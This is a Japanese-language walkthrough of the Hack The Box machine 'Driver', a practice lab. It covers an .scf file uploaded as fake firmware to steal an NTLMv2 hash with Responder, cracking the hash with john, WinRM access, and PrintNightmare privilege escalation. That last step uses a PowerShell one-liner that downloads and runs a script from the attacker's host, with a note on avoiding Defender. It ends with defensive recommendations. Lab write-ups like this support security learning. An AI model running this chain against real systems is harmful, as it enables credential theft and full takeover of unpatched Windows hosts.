Hack The BoxのWriteup(Driver)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Driver — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http, 135, 445, 5985/winrm
→
MFP Firmware
Update Center (Basic認証)
→
.scfファイルアップロード
ファームウェアとして偽装
→
Responder待受
SMB NTLMv2キャプチャ
→
john crack
tony:liltony
→
WinRM → user.txt ✓
→
CVE-2021-1675
PrintNightmare (PS版)
→
pwnuser追加 → Administrator PW変更
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.32
nmap -sV -sC -p 80,135,445,5985 10.129.90.32
RESULT
PORT     STATE SERVICE      VERSION
80/tcp   open  tcpwrapped
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host: DRIVER; OS: Windows
| smb-security-mode:
|_  message_signing: disabled (dangerous, but default)
🚨
重要発見: ポート80は「MFP(複合機) Firmware Update Center」という 社内向けファームウェア更新ポータル、Basic認証で保護されている。 さらにSMBのメッセージ署名が無効——これはNTLMリレー/キャプチャ系の 攻撃がしやすい構成を示唆する。ポート5985(WinRM)も開いており、 資格情報さえ手に入ればリモート管理が可能。

Basic認証の突破を試みる

BASH
curl -s -u admin:admin http://10.129.90.32/
ℹ️
admin:adminのような単純な既定値はこの環境では通らなかった。 しかし「ファームウェア更新」機能自体がアップロード機能を持つ場合、 アップロードされるファイル自体を悪用できないか調べる 価値がある——これが次フェーズの糸口になる。
PHASE 2

.scf ファイルによるNTLMハッシュ窃取(Responder)

.scfファイルの仕組み

NOTE
.scf(Shell Command File)はWindowsエクスプローラーが解釈する古いショート
カット形式のファイル。中にアイコンパスとしてUNCパス(\\<attacker_ip>\share)
を指定しておくと、Windowsエクスプローラーが**ファイルを開かずに単に
一覧表示しただけ**でアイコン取得のためそのUNCパスへSMB接続を試みる。
この接続時に発生するNTLM認証ハンドシェイクをResponder等で傍受すれば、
接続元ユーザーのNTLMv2チャレンジレスポンス(ハッシュ)を入手できる。

本マシンの「ファームウェアアップロード」機能が、アップロードされたファイルを
管理者が確認する際にファイル一覧をエクスプローラーで開く運用になっていると
推測し、.scfファイルを偽のファームウェアとしてアップロードする。
BASH (.scfファイルの内容)
cat > driver.scf <<'EOF'
[Shell]
Command=2
IconFile=\\10.10.15.200\share\legit.ico
[Taskbar]
Command=ToggleDesktop
EOF

Responder起動 & .scfアップロード

BASH (ターミナル1: Responderでリッスン)
sudo responder -I tun0
BASH (ターミナル2: .scfファイルを「ファームウェア」として複数のプリンタ名でアップロード)
curl -s -u admin:admin \
  -F "printers=HTB DesignJet" \
  -F "firmware=@driver.scf;type=application/octet-stream" \
  http://10.129.90.32/fw_up.php

curl -s -u admin:admin \
  -F "printers=HTB Laserjet Pro" \
  -F "firmware=@driver.scf;type=application/octet-stream" \
  http://10.129.90.32/fw_up.php
ℹ️
Basic認証の資格情報(admin:admin)自体はWeb UIへのログインには 使えないが、fw_up.phpへのPOSTリクエスト自体は認証を要求されつつも 処理される(あるいはこのエンドポイント自体の認証設定が緩い)ため、 複数のプリンタ名で何度か試行してアップロードを成立させる。
RESULT (Responder側の出力)
[SMB] NTLMv2-SSP Client   : 10.129.90.32
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:...(NTLMv2ハッシュ)...
✅
NTLM捕捉成功! サーバー管理者(定期的にアップロード済み ファームウェアファイルをエクスプローラーで確認している運用担当者)が .scfファイルのアイコン取得のため自動的にKaliへSMB接続し、 ユーザーtonyのNTLMv2ハッシュが得られた。

john でNTLMv2ハッシュをクラック

BASH
john --wordlist=/usr/share/wordlists/rockyou.txt driver_tony.ntlmv2
john --show driver_tony.ntlmv2
RESULT (本検証の実際の出力)
tony:liltony

1 password hash cracked, 0 left
PHASE 3

WinRMログイン & user.txt取得

WinRMでのログイン確認

BASH
netexec winrm 10.129.90.32 -u tony -p liltony
RESULT (本検証の実際の出力)
WINRM   10.129.90.32  5985  DRIVER  [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
WINRM   10.129.90.32  5985  DRIVER  [+] DRIVER\tony:liltony (Pwn3d!)
✅
WinRMアクセス成功! クラックしたパスワード liltonyでPowerShellリモーティングが有効なことを確認。

evil-winrmでシェルを取得 & user.txt取得

BASH
evil-winrm -i 10.129.90.32 -u tony -p liltony
BASH (evil-winrmシェル上で実行)
*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\Desktop\user.txt
RESULT
d7c5144ea8a705801d7baad8b6cd1b2c
user.txt — tony
d7c5144ea8a705801d7baad8b6cd1b2c
PHASE 4

CVE-2021-1675 PrintNightmare — root.txt取得

Print Spoolerサービスの稼働確認

BASH (evil-winrmシェル上で実行)
sc.exe query Spooler
RESULT
SERVICE_NAME: Spooler
    TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
    STATE              : 4  RUNNING
🚨
重要発見: Print Spoolerサービスが稼働している。 このマシンはWindows 10 Build 10240(初期リリースビルド)であり、 2021年5月以前のCVE-2021-1675(通称PrintNightmare)に パッチが当たっていないことが期待できる。

Invoke-Nightmare のダウンロード & 実行

NOTE
PrintNightmareは、Print Spoolerのドライバインストール処理(RpcAddPrinterDriverEx)
が、呼び出し元の権限チェックを適切に行わずローカルの任意DLLをSYSTEM権限で
ロードしてしまう脆弱性。calebstewart製のInvoke-Nightmare(PowerShell単体で
完結する実装、悪意あるプリンタドライバDLLを内蔵しビルド→登録→SYSTEM権限で
新規ローカル管理者ユーザーを作成する)を使う。

Defenderがメモリ注入系のPEペイロード(Metasploitのmeterpreter等)を検知する
環境だったため、**ディスクに書き出さないPowerShellスクリプトのダウンロード
&実行(IEX)方式**を採用した(このWindows 10初期ビルドにはAMSIが無く、
PowerShellスクリプトはスキャンされない)。
POWERSHELL (evil-winrmシェル上で実行するワンライナー)
$wc = New-Object System.Net.WebClient
$src = $wc.DownloadString('http://10.10.15.200:80/nightmare.ps1')
IEX $src
Invoke-Nightmare -NewUser 'pwnuser' -NewPassword 'Pwn3d!23'
BASH (結果確認)
net.exe localgroup administrators
RESULT (本検証の実際の出力)
Alias name     administrators
Members
-------------------------------------------------------------------------
Administrator
pwnuser
✅
権限昇格成功! Print SpoolerのSYSTEM権限でのドライバロードを 悪用し、新規ユーザーpwnuser:Pwn3d!23がローカル Administratorsグループへ自動的に追加された。

管理者権限でのログイン & root.txt取得

BASH
netexec winrm 10.129.90.32 -u pwnuser -p 'Pwn3d!23'
netexec winrm 10.129.90.32 -u pwnuser -p 'Pwn3d!23' \
  -x 'net.exe user Administrator "Passw0rd123!"'
RESULT
[+] DRIVER\pwnuser:Pwn3d!23 (Pwn3d!)
[+] Executed command (shell type: cmd)
The command completed successfully.
ℹ️
pwnuserはAdministrators所属のため、ビルトインAdministrator アカウントのパスワードをnet.exeで直接変更できる(Administratorアカウント 自体へ直接ログインする代わりに、既知のパスワードへリセットする方式)。
BASH
evil-winrm -i 10.129.90.32 -u Administrator -p 'Passw0rd123!'
BASH (Administratorシェル上で実行)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT (本検証の実際の出力)
314aba3526597923899ed188b3df6af6
root.txt — Administrator (PrintNightmare経由)
314aba3526597923899ed188b3df6af6
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — tony
d7c5144ea8a705801d7baad8b6cd1b2c
root.txt — Administrator (PrintNightmare経由)
314aba3526597923899ed188b3df6af6

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
.scf UNCパス自動認証(NTLM窃取) MFPファームウェアアップロード機能 + SMB署名無効 ユーザー資格情報(NTLMv2)の窃取 High .scfファイルをファームウェアとしてアップロードし、管理者のエクスプローラー閲覧時にSMB接続を誘発、Responderで捕捉
弱いパスワード ユーザー tony のNTLMv2ハッシュ 平文パスワードの復元 Medium rockyou.txtでjohnクラック (liltony)
CVE-2021-1675 (PrintNightmare) Print Spooler サービス 権限昇格 (SYSTEM/Administrators) Critical Invoke-Nightmare PowerShell実装でRpcAddPrinterDriverExを悪用しローカル管理者ユーザーを作成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, MFPファームウェアポータル発見80/http(Basic認証), 135, 445, 5985/winrm
2資格情報窃取.scfアップロード + Responder NTLMv2捕捉 + johntony:liltony
3横移動WinRM/evil-winrmuser.txt (tony)
4権限昇格CVE-2021-1675 Invoke-Nightmare → Administrator PW変更root.txt

学んだ教訓 & 防御策

問題点防御策
SMBメッセージ署名が無効のため、NTLM認証ハンドシェイクが中間者的に捕捉可能 全ホストでSMB署名を必須化(「有効だが必須ではない」設定を「必須」へ変更)する。
アップロードされたファイルを管理者がエクスプローラーで直接閲覧する運用で.scf等の悪意あるファイルに晒される アップロードされたファイルは隔離環境・ウイルス対策スキャンを経てから閲覧する。拡張子ホワイトリストで.scf等のショートカット系ファイルのアップロードを拒否する。
辞書攻撃で破られる弱いパスワードが使われている 強度の高いパスワードポリシーを強制し、多要素認証(MFA)を導入する。
Print Spoolerサービスが既知の重大脆弱性(PrintNightmare)に未パッチのまま稼働 Windows Updateを定期的に適用する。印刷機能が不要なサーバーではPrint Spoolerサービス自体を無効化する。
HackTheBox: Driver | 完全攻略レポート